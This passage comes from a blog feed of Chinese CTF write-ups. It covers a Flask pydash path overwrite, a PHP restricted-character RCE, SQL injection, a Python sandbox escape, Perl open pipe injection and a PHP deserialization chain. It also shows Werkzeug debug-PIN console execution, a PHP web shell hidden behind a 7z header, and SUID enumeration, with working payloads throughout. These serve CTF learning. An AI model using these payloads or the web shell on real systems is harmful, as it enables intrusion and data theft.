        return &quot;oprate failed&quot;

@app.route(&apos;/user/name&apos;,methods=[&apos;POST&apos;])
def name():
    return {&apos;username&apos;:user}

def logout():
    return redirect(url_for(&apos;index&apos;))

@app.route(&apos;/reset&apos;,methods=[&apos;POST&apos;])
def reset():
    old_password=request.form[&apos;old_password&apos;]
    new_password=request.form[&apos;new_password&apos;]
    if user in database and database[user] == old_password:
        database[user]=new_password
        return &apos;&apos;&apos;
        &amp;lt;script&amp;gt;
        alert(&apos;密码修改成功，请重新登录。&apos;);
        window.location.href=&apos;/&apos;;
        &amp;lt;/script&amp;gt;
        &apos;&apos;&apos;
    else:
        return &apos;&apos;&apos;
        &amp;lt;script&amp;gt;
        alert(&apos;密码修改失败，请确认旧密码是否正确。&apos;);
        window.location.href=&apos;/user_dashboard&apos;;
        &amp;lt;/script&amp;gt;
        &apos;&apos;&apos;

@app.route(&apos;/impression&apos;,methods=[&apos;GET&apos;])
def impression():
    point=request.args.get(&apos;point&apos;)
    if len(point) &amp;gt; 5:
        return &quot;Invalid request&quot;
    List=[&quot;{&quot;,&quot;}&quot;,&quot;.&quot;,&quot;%&quot;,&quot;&amp;lt;&quot;,&quot;&amp;gt;&quot;,&quot;_&quot;]
    for i in point:
        if i in List:
            return &quot;Invalid request&quot;
    return render_template(point)

@app.route(&apos;/login&apos;,methods=[&apos;POST&apos;])
def login():
    username=request.form[&apos;username&apos;]
    password=request.form[&apos;password&apos;]
    type=request.form[&apos;type&apos;]
    if username in database and database[username] != password:
        return &apos;&apos;&apos;
        &amp;lt;script&amp;gt;
        alert(&apos;用户名或密码错误请重新输入。&apos;);
        window.location.href=&apos;/&apos;;
        &amp;lt;/script&amp;gt;
        &apos;&apos;&apos;
    elif username not in database:
        return &apos;&apos;&apos;
        &amp;lt;script&amp;gt;
        alert(&apos;用户名或密码错误请重新输入。&apos;);
        window.location.href=&apos;/&apos;;
        &amp;lt;/script&amp;gt;
        &apos;&apos;&apos;
    else:
        global name
        name=username    
        if int(type)==1:
            return redirect(url_for(&apos;user_dashboard&apos;))
        elif int(type)==0:
            return redirect(url_for(&apos;A272e1739b89da32e983970ece1a086bd&apos;))

if __name__==&apos;__main__&apos;:
    app.run(host=&apos;0.0.0.0&apos;,port=8080,debug=False)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;重要的是两个路由，一个/impression，一个/operate路由，大概就是/operate路由可以改变默认渲染路径，&lt;/p&gt;
&lt;p&gt;使用了pydash.set_(名字，路径，值),直接改为pydash.set_(app, &quot;jinja_loader.searchpath.0&quot;, &quot;/&quot;)，这app是应用对象，然后改默认渲染路径为根目录，然后直接在/impression路由传参point=flag就ok&lt;/p&gt;
&lt;h1&gt;ezrce&lt;/h1&gt;
&lt;p&gt;这题开始给了这个界面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/12.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这题只能允许a-zA-Z和()和_和；&lt;/p&gt;
&lt;p&gt;那么我们可以构造这样的payload&lt;/p&gt;
&lt;p&gt;方案1，chdir(dirname(dirname(dirname(getcwd()))));chdir(flag);highlight_file(flag)&lt;/p&gt;
&lt;p&gt;不解释了，你看得懂&lt;/p&gt;
&lt;p&gt;方案2,system(next(getheaders()))然后把第二个ua头改成cat ../../../flag，这样也可以。&lt;/p&gt;
&lt;h1&gt;flag到底在哪(简单SQL)&lt;/h1&gt;
&lt;p&gt;这题让我对SQL的理解提升很多，来吧&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/13.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;开始是上面这个界面，爆破无果，尝试下面的方法，直接抓个POST包看看&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/14.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后用拼接绕过，这里讲一下,如果原码的语句是select * form users where username=&apos;admin&apos; and password=&apos;输入的&apos;。如果这里输入上面就会变成and passowrd = &apos;&apos; or &apos;1&apos; = &apos;1&apos;--+&apos;这样右边的or &apos;1&apos; = &apos;1&apos;永远为真，所以可以通过校验.&lt;/p&gt;
</content:encoded></item><item><title>Python沙箱逃逸(check in)</title><link>https://ymsora.com/posts/minivn%E6%8B%9B%E6%96%B0/</link><guid isPermaLink="true">https://ymsora.com/posts/minivn%E6%8B%9B%E6%96%B0/</guid><description>一个用len和list的特性进行逃逸，我之前还想unicode来着</description><pubDate>Sat, 20 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;1.Python沙箱逃逸(check in)&lt;/h1&gt;
&lt;p&gt;给你源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&apos;&apos;&apos;
I wish you a good head start.
flag is in file namely &apos;flag&apos; in the same directory as this file.

Good luck!
&apos;&apos;&apos;

import re
import flask
import requests
import ipaddress
from urllib.parse import urlparse

GENERAL_WAF_REGEX = r&apos;[a-zA-Z0-9_\[\]{}()&amp;lt;&amp;gt;,.!@#$^&amp;amp;*]{3}&apos; # only two of these characters ;)

app = flask.Flask(__name__)

def general_waf(code):
    # Why do you need so many characters?
    if re.findall(GENERAL_WAF_REGEX, code):
        return True
    else:
        return False

def check_hostname(url):
    # must starts with vnctf.
    if not url.startswith(&apos;http://vnctf.&apos;):
        return False

    hostname = urlparse(url).hostname
    query = urlparse(url).query

    # must only contain two of the restricted characters
    if general_waf(query):
        return False

    # must not be an ip address, so no 127.0.0.1 or ::1
    try:
        ipaddress.ip_address(hostname)
        return False
    except ValueError:
        pass

    return url

@app.route(&apos;/&apos;)
def index():
    return &apos;Welcome to MINI VNCTF 2025!&apos;

@app.route(&apos;/fetch&apos;)
def fetch():
    url = flask.request.args.get(&apos;url&apos;)
    safe_url = check_hostname(url)
    if safe_url:
        try:
            response = requests.get(safe_url, allow_redirects=False) # no redirects
            return response.text
        except:
            return &apos;Error&apos;
    else:
        return &apos;Invalid URL&apos;

@app.route(&apos;/__internal/safe_eval&apos;)
def safe_eval():
    # check if the request is from the internal network
    if flask.request.remote_addr not in [&apos;127.0.0.1&apos;, &apos;::1&apos;]:
        return &apos;Forbidden&apos;

    code = flask.request.args.get(&apos;hi&apos;)

    if len(code) &amp;gt;= 24 * 10 + 8 * 8:
        # Man! What can I say. 
        return &apos;Invalid code&apos;

    # Ah, if you get here, then your final challenge is to break this jail.
    # Try it. Not as hard as it seems ;)
    blacklist = [&apos;\\x&apos;,&apos;+&apos;,&apos;join&apos;, &apos;&quot;&apos;, &quot;&apos;&quot;, &apos;[&apos;, &apos;]&apos;, &apos;2&apos;, &apos;3&apos;, &apos;4&apos;, &apos;5&apos;, &apos;6&apos;, &apos;7&apos;, &apos;8&apos;, &apos;9&apos;]
    for i in blacklist:
        if i in code:
            return &apos;Invalid code&apos;
    
    safe_globals = {&apos;__builtins__&apos;:None, &apos;lit&apos;:list, &apos;dic&apos;:dict}

    return repr(eval(code, safe_globals))

if __name__ == &apos;__main__&apos;:
    app.run(debug=False, host=&apos;0.0.0.0&apos;, port=8080)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里分三部分，第一部绕过本地地址限制，第二部是二次网络访问导致FLASK二次url解码绕过黑名单，第三部是最重要的沙箱逃逸。开始吧&lt;/p&gt;
&lt;p&gt;先看这里&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GENERAL_WAF_REGEX = r&apos;[a-zA-Z0-9_\[\]{}()&amp;lt;&amp;gt;,.!@#$^&amp;amp;*]{3}&apos; # only two of these characters ;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个黑名单的正则意思是任意里面三个不能连续出现，这极其严格，让我们看看后面&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def check_hostname(url):
    # must starts with vnctf.
    if not url.startswith(&apos;http://vnctf.&apos;):
        return False

        hostname = urlparse(url).hostname
        query = urlparse(url).query

        # must only contain two of the restricted characters
        if general_waf(query):
            return False

        # must not be an ip address, so no 127.0.0.1 or ::1
        try:
            ipaddress.ip_address(hostname)
        return False
except ValueError:
        pass
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看看这里，，要求url参数以http://vnctf.开始，并且分割了其中的hostname和query查询参数，就是说如果访问地址是自身地址但不能是127.0.0.1，也就是说可以用localhost这种绕过，总结一下就是说只能自身访问自己，然后必须以http://vnctf.开头，但是这是有漏洞的，网络的写法是这样的:&lt;/p&gt;
&lt;p&gt;scheme://userinfo@localhost:port/path，这样的话因为waf简单检验了前面的http://vnctf，而后面就可以跟着@localhost:8080这样，然后就可以利用fetch去二次传请求了，因为直接访问会被waf拦，然后到了重点一环的路由/__internal/safe_eval&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@app.route(&apos;/__internal/safe_eval&apos;)
def safe_eval():
    # check if the request is from the internal network
    if flask.request.remote_addr not in [&apos;127.0.0.1&apos;, &apos;::1&apos;]:
        return &apos;Forbidden&apos;

    code = flask.request.args.get(&apos;hi&apos;)

    if len(code) &amp;gt;= 24 * 10 + 8 * 8:
        # Man! What can I say. 
        return &apos;Invalid code&apos;

    # Ah, if you get here, then your final challenge is to break this jail.
    # Try it. Not as hard as it seems ;)
    blacklist = [&apos;\\x&apos;,&apos;+&apos;,&apos;join&apos;, &apos;&quot;&apos;, &quot;&apos;&quot;, &apos;[&apos;, &apos;]&apos;, &apos;2&apos;, &apos;3&apos;, &apos;4&apos;, &apos;5&apos;, &apos;6&apos;, &apos;7&apos;, &apos;8&apos;, &apos;9&apos;]
    for i in blacklist:
        if i in code:
            return &apos;Invalid code&apos;
    
    safe_globals = {&apos;__builtins__&apos;:None, &apos;lit&apos;:list, &apos;dic&apos;:dict}

    return repr(eval(code, safe_globals))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个路由先检查了客户端的访问地址必须是本地的，能解析成127.0.0.1的。，然后把hi参数赋值给code，然后限制了长度为304，然后黑名单封了十六进制，以及字符串拼接，引号都被ban了，还不能用数字，并且不能用内置模块，只能用list和dict两个模块，这怎么逃逸呢，让我们来看看:&lt;/p&gt;
&lt;p&gt;现在，我就要重塑python沙箱逃逸，沙箱逃逸有三个法则&lt;/p&gt;
&lt;p&gt;法则1，一切可为类，一切可溯源，就比如说下面&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 从一个数字开始
1 .__class__              # &amp;lt;class &apos;int&apos;&amp;gt;
1 .__class__.__base__     # &amp;lt;class &apos;object&apos;&amp;gt;

# 从一个字符串开始
&quot;&quot; .__class__            # &amp;lt;class &apos;str&apos;&amp;gt;
&quot;&quot; .__class__.__mro__    # (&amp;lt;class &apos;str&apos;&amp;gt;, &amp;lt;class &apos;object&apos;&amp;gt;)

# 从一个元组开始（本题用的）
() .__class__            # &amp;lt;class &apos;tuple&apos;&amp;gt;
() .__class__.__base__   # &amp;lt;class &apos;object&apos;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;法则2：&lt;strong&gt;object是所有类的“总祖宗”&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;找到&lt;code&gt;object&lt;/code&gt;后，就能看到它所有的“子孙后代”：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;object.__subclasses__()  # 返回所有内置类
# 大概有几百个，比如：
# &amp;lt;class &apos;int&apos;&amp;gt;, &amp;lt;class &apos;str&apos;&amp;gt;, &amp;lt;class &apos;list&apos;&amp;gt;, 
# &amp;lt;class &apos;warnings.catch_warnings&apos;&amp;gt;, &amp;lt;class &apos;os._wrap_close&apos;&amp;gt;, ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;法则三，一切类会有初始方法，也就是说，会有一些原始的东西，出厂自带的东西是可以调用的,举几个例子&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;warnings.catch_warnings&lt;/code&gt;：能拿到&lt;code&gt;__builtins__&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;os._wrap_close&lt;/code&gt;：能拿到&lt;code&gt;os&lt;/code&gt;模块&lt;/li&gt;
&lt;li&gt;&lt;code&gt;subprocess.Popen&lt;/code&gt;：能执行命令&lt;/li&gt;
&lt;li&gt;在这个题目环境下，只让用dict和list，利用了两个特性，如果是x=dict(x=1)这样没有单引号和双引号，这样就建了一个字典{&apos;x&apos;:&apos;1&apos;}然后list(x)就将键组成了一个数组，[&apos;x&apos;]，然后用pop()方法取出就避免了使用&apos;和&quot;，下面是payload&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;lit(c for c in lit(o for o in ().__class__.__mro__ if o.__name__==lit(dic(object=1)).pop()).pop().__subclasses__() if c.__name__==lit(dic(catch_warnings=1)).pop()).pop().__init__.__globals__.get(lit(dic(__builtins__=1)).pop()).get(lit(dic(open=1)).pop())(lit(dic(flag=1)).pop()).read()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结束.&lt;/p&gt;
</content:encoded></item><item><title>浅浅谈一谈一题的perl的open函数</title><link>https://ymsora.com/posts/perl%E7%9A%84open/</link><guid isPermaLink="true">https://ymsora.com/posts/perl%E7%9A%84open/</guid><description>一个open的特性</description><pubDate>Sat, 20 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;浅浅谈一谈一题的perl的open函数&lt;/h1&gt;
&lt;p&gt;给了源码，就是perl的审计，问题不大，很快看懂了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/perl

use strict;
use warnings;
use HTTP::Daemon;
use HTTP::Status;
use File::Spec;
use File::MimeInfo::Simple;  # cpan install File::MimeInfo::Simple
use File::Basename;
use CGI qw(escapeHTML);

my $webroot = &quot;./files&quot;;

my $d = HTTP::Daemon-&amp;gt;new(LocalAddr =&amp;gt; &apos;0.0.0.0&apos;, LocalPort =&amp;gt; 8080, Reuse =&amp;gt; 1) || die &quot;Failed to start server: $!&quot;;

print &quot;Server running at: &quot;, $d-&amp;gt;url, &quot;\n&quot;;

while (my $c = $d-&amp;gt;accept) {
    while (my $r = $c-&amp;gt;get_request) {
        if ($r-&amp;gt;method eq &apos;GET&apos;) {
            my $path = CGI::unescape($r-&amp;gt;uri-&amp;gt;path);
            $path =~ s|^/||;     # Remove leading slash
            $path ||= &apos;index.html&apos;;

            my $fullpath = File::Spec-&amp;gt;catfile($webroot, $path);

            if ($fullpath =~ /\.\.|[,\`\)\(;&amp;amp;]|\|.*\|/) {
                $c-&amp;gt;send_error(RC_BAD_REQUEST, &quot;Invalid path&quot;);
                next;
            }

            if (-d $fullpath) {
                # Serve directory listing
                opendir(my $dh, $fullpath) or do {
                    $c-&amp;gt;send_error(RC_FORBIDDEN, &quot;Cannot open directory.&quot;);
                    next;
                };

                my @files = readdir($dh);
                closedir($dh);

                my $html = &quot;&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&amp;lt;h1&amp;gt;Index of /$path&amp;lt;/h1&amp;gt;&amp;lt;ul&amp;gt;&quot;;
                foreach my $f (@files) {
                    next if $f =~ /^\./;  # Skip dotfiles
                    my $link = &quot;$path/$f&quot;;
                    $link =~ s|//|/|g;
                    $html .= qq{&amp;lt;li&amp;gt;&amp;lt;a href=&quot;/$link&quot;&amp;gt;} . escapeHTML($f) . &quot;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&quot;;
                }
                $html .= &quot;&amp;lt;/ul&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&quot;;

                my $resp = HTTP::Response-&amp;gt;new(RC_OK);
                $resp-&amp;gt;header(&quot;Content-Type&quot; =&amp;gt; &quot;text/html&quot;);
                $resp-&amp;gt;content($html);
                $c-&amp;gt;send_response($resp);

            } else {
                open(my $fh, $fullpath) or do {
                    $c-&amp;gt;send_error(RC_INTERNAL_SERVER_ERROR, &quot;Could not open file.&quot;);
                    next;
                };
                binmode $fh;
                my $content = do { local $/; &amp;lt;$fh&amp;gt; };
                close $fh;

                my $mime = &apos;text/html&apos;;

                my $resp = HTTP::Response-&amp;gt;new(RC_OK);
                $resp-&amp;gt;header(&quot;Content-Type&quot; =&amp;gt; $mime);
                $resp-&amp;gt;content($content);
                $c-&amp;gt;send_response($resp);
            }
        } else {
            $c-&amp;gt;send_error(RC_METHOD_NOT_ALLOWED);
        }
    }
    $c-&amp;gt;close;
    undef($c);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解释一下，大致就是服务端捕获客户端请求，然后去进行一系列的过滤，最后去拼接的一个过程，这个过程没有什么命令执行啥的，但是，这里open有个特性，如果open后面有俩参数，而我们可以控制其中一个的时候，我们可以用管道符，就像open( my $a,$kk)如果$kk后面跟|，那么就会被当成命令丢给shell，然后本来是要拼接./file/xxxx的，我们要使它是一个独立的命令，所以用换行符编码%0a,然后就&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/bin/cat  /flag
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意这个cat是一个ELF可执行文件，而/flag是作为参数的，所以不能/bin/bash cat /flag，后面的只会当成参数而不是命令，ok完结。&lt;/p&gt;
</content:encoded></item><item><title>?CTF2025 writeup</title><link>https://ymsora.com/posts/qctf2025/</link><guid isPermaLink="true">https://ymsora.com/posts/qctf2025/</guid><description>比较早接触的比赛，以前写的wp</description><pubDate>Sat, 20 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;week4php反序列化&lt;/h1&gt;
&lt;p&gt;开始给了这些代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
?php
highlight_file(&apos;index.php&apos;);

Class Start
{
    public $ishero;
    public $adventure;


    public function __wakeup(){

        if (strpos($this-&amp;gt;ishero, &quot;hero&quot;) !== false &amp;amp;&amp;amp; $this-&amp;gt;ishero !== &quot;hero&quot;) {
            echo &quot;&amp;lt;br&amp;gt;勇者啊，去寻找利刃吧&amp;lt;br&amp;gt;&quot;;

            return $this-&amp;gt;adventure-&amp;gt;sword;
        }
        else{
            echo &quot;前方的区域以后再来探索吧！&amp;lt;br&amp;gt;&quot;;
        }
    }
}

class Sword
{
    public $test1;
    public $test2;
    public $go;

    public function __get($name)
    {
        if ($this-&amp;gt;test1 !== $this-&amp;gt;test2 &amp;amp;&amp;amp; md5($this-&amp;gt;test1) == md5($this-&amp;gt;test2)) {
            echo &quot;沉睡的利刃被你唤醒了，是时候去讨伐魔王了！&amp;lt;br&amp;gt;&quot;;
            echo $this-&amp;gt;go;
        } else {
            echo &quot;Dead&quot;;
        }
    }
}
class Mon3tr
{
    private $result;
    public $end;

    public function __toString()
    {
        $result = new Treasure();
        echo &quot;到此为止了！魔王&amp;lt;br&amp;gt;&quot;;
        if (!preg_match(&quot;/^cat|flag|tac|system|ls|head|tail|more|less|nl|sort|find?/i&quot;, $this-&amp;gt;end)) {
            $result-&amp;gt;end($this-&amp;gt;end);
        } else {
            echo &quot;难道……要输了吗？&amp;lt;br&amp;gt;&quot;;
        }
        return &quot;&amp;lt;br&amp;gt;&quot;;
    }
}
class Treasure
{
    public function __call($name, $arg)
    {
        echo &quot;结束了？&amp;lt;br&amp;gt;&quot;;
        eval($arg[0]);
    }
}

if (isset($_POST[&quot;HERO&quot;])) {
    unserialize($_POST[&quot;HERO&quot;]);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;``一个简单的反序列化，从那个后往前看，调用不存在的方法（属性）时执行其参数值，当对象被当字符串调用时过了防火墙之后调用不存在的方法，调用不存在的属性时过了md5强碰撞之后，把属性go当作字符串调用（go属性指向前面的对象），然后到了最前面，如果反序列化了自动调用__wakeup()，如果ishero的值不等于hero又包含hero时，调用不存在的属性sowrd，ok了，闭环，接下来直接贴payload。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

class Start {
    public $ishero;
    public $adventure;
}

class Sword {
    public $test1;
    public $test2;
    public $go;
}

class Mon3tr {
    private $result;
    public $end;
}

$o = new Start();
$o-&amp;gt;ishero = &quot;hero1&quot;;
$o-&amp;gt;adventure = new Sword();
$o-&amp;gt;adventure-&amp;gt;test1 = [1];
$o-&amp;gt;adventure-&amp;gt;test2 = [2];
$o-&amp;gt;adventure-&amp;gt;go = new Mon3tr();
$o-&amp;gt;adventure-&amp;gt;go-&amp;gt;end = &quot;eval(\&quot;\\\$x=&apos;sy&apos;.&apos;stem&apos;;\\\$x(&apos;c&apos;.&apos;at /fla*&apos;);\&quot;);&quot;;

echo serialize($o);
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;W4好像什么都能读&lt;/h1&gt;
&lt;p&gt;这题一开始是这个页面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/q1.png&quot; alt=&quot;img&quot; /&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/q2.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看了看没啥大问题，大概是/read?filename=xxx然后读文件，读一读app.py&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/q3.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现存在任意文件读取，并且debug调试是开的，那么我们可以利用这两个点打组合拳。&lt;/p&gt;
&lt;p&gt;因为进debug调试需要pin，那么这里知识就有些多了，来吧，展示：&lt;/p&gt;
&lt;p&gt;pin码也就是flask在开启debug模式下，进行代码调试模式的进入密码，需要正确的PIN码才能进入调试模式。&lt;/p&gt;
&lt;p&gt;条件：debug模式      有任意文件读取如/file?filename=      满足六要素&lt;/p&gt;
&lt;p&gt;老生常谈六要素：&lt;/p&gt;
&lt;p&gt;username，用户名&lt;/p&gt;
&lt;p&gt;modname，默认值为flask.app&lt;/p&gt;
&lt;p&gt;appname，默认值为Flask&lt;/p&gt;
&lt;p&gt;moddir，flask库下app.py的绝对路径&lt;/p&gt;
&lt;p&gt;uuidnode，当前网络的mac地址的十进制数&lt;/p&gt;
&lt;p&gt;machine_id，docker机器id&lt;/p&gt;
&lt;p&gt;username:&lt;/p&gt;
&lt;p&gt;通过文件读取/etc/passwd,找带shell的，一般为root&lt;/p&gt;
&lt;p&gt;modename:&lt;/p&gt;
&lt;p&gt;一般默认为flask.app&lt;/p&gt;
&lt;p&gt;appname:&lt;/p&gt;
&lt;p&gt;一般不变就是Flask&lt;/p&gt;
&lt;p&gt;moddir：&lt;/p&gt;
&lt;p&gt;app.py的绝对路径，只需要让程序报错就会泄露该值 #/usr/local/lib/python3.9/site-packages/flask/app.py&lt;/p&gt;
&lt;p&gt;uuidnode:&lt;/p&gt;
&lt;p&gt;mac地址的十进制数,通过读/sys/class/net/eth0/address获得十六进制数然后去掉冒号转十进制或者cmd里用python执行print(int(&apos;5aefc61f2456&apos;,16))&lt;/p&gt;
&lt;p&gt;machine_id:&lt;/p&gt;
&lt;p&gt;每一个机器都会有自已唯一的id，Linux具体过程就是先找/etc/machine-id，如果有就去找/proc/self/cgroup进行拼接，如果没有就用/proc/sys/kernel/random/boot_id和/proc/self/cgroup的0::/后面的内容进行拼接(或者docker/后面那一串)，如果为空就为空。&lt;/p&gt;
&lt;p&gt;最后注意一下加密算法以前是md5，3.8及之后是sha1，注意改算法`&lt;/p&gt;
&lt;p&gt;如果console访问不到控制台&lt;/p&gt;
&lt;p&gt;需要：&lt;/p&gt;
&lt;p&gt;1.Host改127.0.0.1  只要是访问/console都需要带host&lt;/p&gt;
&lt;p&gt;2.获取cookie /console?&lt;strong&gt;debugger&lt;/strong&gt;=yes&amp;amp;cmd=pinauth&amp;amp;pin=245-243-598&amp;amp;s=KFThF5Qtc7mCpJREkDHF&lt;/p&gt;
&lt;p&gt;S是报错里的SECRET，要右键源码找  提交正确的pin码后会返回cookie   需要带host&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;执行代码/console?&lt;strong&gt;debugger&lt;/strong&gt;=yes&amp;amp;cmd=print(%27mixian%27)&amp;amp;frm=140360546289440&amp;amp;s=KFThF5Qtc7mCpJREkDHF&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;frm依旧报错右键源码找frame 如果没有就是0如果有任意一个都可以  需要带上host和cookie&lt;/p&gt;
&lt;p&gt;因为刚开始脑子糊，我原先并不清楚pin的计算方法和werkzeug版本的区别，于是去看__init__.py文件，路径是&lt;/p&gt;
&lt;p&gt;/home/ctf/.local/lib/python3.13/site-packages/werkzeug/debug/&lt;strong&gt;init&lt;/strong&gt;.py，然后发现只能支持127.0.0.1进入调试，不然会被反代理拦截，那么我们通过计算出的pin输入pin输入框后（另外，调试台不给我显示，控制台显示指令是promptForPin();）然后去读SECRET，直接控制台输入，然后frm也可以在控制台解锁后输入frm直接查找，然后cmd=xxxx，列出当前文件，打payload，url编码保证传输，大概格式是这样&lt;/p&gt;
&lt;p&gt;/read?&lt;strong&gt;debugger&lt;/strong&gt;=yes&amp;amp;cmd=&amp;lt;URL编码后的Python表达式&amp;gt;&amp;amp;frm=&amp;lt;FRAME_ID&amp;gt;&amp;amp;s=&amp;lt;SECRET&amp;gt;&lt;/p&gt;
&lt;p&gt;这题的列出文件payload是(&lt;strong&gt;import&lt;/strong&gt;(&apos;os&apos;).popen(&apos;ls -la / /home/ctf /home/ctf/instance&apos;).read())&lt;/p&gt;
&lt;p&gt;然后发现了/fllllaggggggggggg这个文件，ok直接open一读，完事，出狱！！！&lt;/p&gt;
&lt;h1&gt;W4.getshell&lt;/h1&gt;
&lt;p&gt;首先，给了一个附件，看看代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
error_reporting(0);

$allowed_extensions = [&apos;zip&apos;, &apos;bz2&apos;, &apos;gz&apos;, &apos;xz&apos;, &apos;7z&apos;];
$allowed_mime_types = [
    &apos;application/zip&apos;,
    &apos;application/x-bzip2&apos;,
    &apos;application/gzip&apos;,
    &apos;application/x-gzip&apos;,
    &apos;application/x-xz&apos;,
    &apos;application/x-7z-compressed&apos;,
];


function filter($tempfile)
{
    $data = file_get_contents($tempfile);
    if (
        stripos($data, &quot;__HALT_COMPILER();&quot;) !== false || stripos($data, &quot;PK&quot;) !== false ||
        stripos($data, &quot;&amp;lt;?&quot;) !== false || stripos(strtolower($data), &quot;&amp;lt;?php&quot;) !== false
    ) {
        return true;
    }
    return false;
}

if ($_SERVER[&quot;REQUEST_METHOD&quot;] == &apos;POST&apos;) {
    if (is_uploaded_file($_FILES[&apos;file&apos;][&apos;tmp_name&apos;])) {
        if (filter($_FILES[&apos;file&apos;][&apos;tmp_name&apos;]) || !isset($_FILES[&apos;file&apos;][&apos;name&apos;])) {
            die(&quot;Nope :&amp;lt;&quot;);
        }

        // mimetype check
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime_type = finfo_file($finfo, $_FILES[&apos;file&apos;][&apos;tmp_name&apos;]);
        finfo_close($finfo);

        if (!in_array($mime_type, $allowed_mime_types)) {
            die(&apos;unexpected mimetype&apos;);
        }

        // ext check
        $ext = strtolower(pathinfo(basename($_FILES[&apos;file&apos;][&apos;name&apos;]), PATHINFO_EXTENSION));

        if (!in_array($ext, $allowed_extensions)) {
            die(&apos;unexpected extension&apos;);
        }

        if (move_uploaded_file($_FILES[&apos;file&apos;][&apos;tmp_name&apos;], &quot;/tmp/&quot; . basename($_FILES[&apos;file&apos;][&apos;name&apos;]))) {
            echo &quot;File upload success!Please include with &apos;url&apos;&quot;;
        }else{
            echo &quot;fail&quot;;
        }     
    }
}

if (isset($_GET[&apos;url&apos;])) {
    
$include_url = basename($_GET[&apos;url&apos;]);


if (!preg_match(&quot;/\.(zip|bz2|gz|xz|7z)/i&quot;, $include_url)) {
    die(&quot;unexpected extension&quot;);
}

include &apos;/tmp/&apos; . $include_url;
exit;
}
?&amp;gt;
&amp;lt;form enctype=&apos;multipart/form-data&apos; method=&apos;post&apos;&amp;gt;
    &amp;lt;input type=&apos;file&apos; name=&apos;file&apos;&amp;gt;
    &amp;lt;input type=&quot;submit&quot; value=&quot;upload&quot;&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;/form&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;审计一下，大概就是只能上传zip,7z等格式的压缩文件，但是，还限制了&amp;lt;?和&lt;code&gt;**&amp;lt;?php**&lt;/code&gt;，PK，和函数__HALT_COMPILER()这个&amp;lt;?和&amp;lt;?php就不多说了，是限制php上传的，那么PK是zip的文件头，__HALT_COMPILER()是一个嵌入数据的函数，这有点自相矛盾，能传zip又禁了zip的文件头，也就是不让我们传zip，那么好，直接传7z，然后伪装一下，加个文件头（其实好像不加也行），以下是一句话木马payload（不知道冰蝎咋回事执行命令没回显）:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script language=&quot;php&quot;&amp;gt;
system($_GET[&apos;c&apos;]);
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后加的7z文件头是37 7A BC AF 27 1C，直接十六进制加。&lt;/p&gt;
&lt;p&gt;然后就开始下一步，我们开始通过一句话木马执行指令，发现自己是www-data也就是普通用户的权限，然后目录遍历，c=ls ../../../找到了flag，直接读回显空白，看看所需权限，&apos;-r--------    1 root     root            42 Oct 22 04:50 ../../../flag，发现需要root才能查看，好了这下，直接提权，我们先试试suid，打payload：find / -perm -4000 -type f -exec ls -ls {} 2&amp;gt;/dev/null \&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-rwsr-xr-x    1 root     root         36560 May 19  2018 /bin/su
48 -rwsr-xr-x    1 root     root         47376 May 19  2018 /usr/bin/passwd
56 -rwsr-xr-x    1 root     root         55200 May 19  2018 /usr/bin/gpasswd
